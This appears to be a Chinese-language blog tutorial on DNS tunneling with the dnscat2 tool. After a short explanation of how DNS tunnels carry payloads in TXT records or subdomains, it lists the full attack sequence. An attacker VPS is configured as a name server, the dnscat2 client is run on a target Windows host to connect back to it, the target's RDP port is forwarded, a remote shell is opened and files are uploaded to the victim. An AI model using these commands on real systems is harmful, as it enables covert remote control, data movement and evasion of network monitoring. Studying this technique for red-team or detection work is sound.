DNS隧道的利用
前言
域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地址(也可以将IP地址转换为相应的域名地址)
dns隧道的原理
客户端与服务端(NS记录)建立dns隧道,客户端将域名(通常为子域名)解析的数据包(QR标记0)全部传送给A记录指向的服务器,之后所指向dns服务器对数据包进行响应(QR标记为1)。在这个过程中,将payload插入到dns数据包中的TXT记录字段或者子域名字段,从而实现客户端与服务端的数据交互。
利用dnscat2建立dns隧道
准备
vps配置ns记录
例如:
dns.douhu.xyz的ns记录为119.23.104.162,此时dns.douhu.xyz域名的dns服务器为119.23.104.162
配置完成后,可通过在vps使用tcpdump
抓取dns数据包验证配置是否成功
tcpdump -n -i eth0 udp dst port 53
vps安装dnscat2
vps安装dnscat2,做为dnscat2的服务端
https://github.com/iagox86/dnscat2
下载完成后进入dnscat2的server目录,执行以下命令安装依赖
#安装bundler
gem install bundler
#更新系统中存在的项目依赖包
bundle install
利用过程
vps运行dnscat2
做为服务端
#x.domain.com为配置ns服务器A记录域名,--secret=123456为dns流量加密传输设置的加密密码。
sudo ruby ./dnscat2.rb x.domain.com --secret=123456
目标主机(客户端)运行dnscat2
,与vps建立dns通道
dnscat2-v0.07-client-win32.exe --secret=123456 x.domain.com
通道建立成功后,使用sessions
命令查看当前的所有客户端会话ID
使用window -i id
进入会话
端口转发
listen
端口转发
#将vps(服务端)的990端口重定向至客户端的3389端口,此时连接vps的990端口就是客户端的Rdp服务
listen 127.0.0.1:990 192.168.187.130:3389
执行命令
执行shell
后,会新建一个会话获取客户端的shell环境
上传文件
upload
上传文件至客户端
upload ../../portmap.c c:\windows\temp\123.txt
使用exit
退出当前会话,使用Kill id
停止dns隧道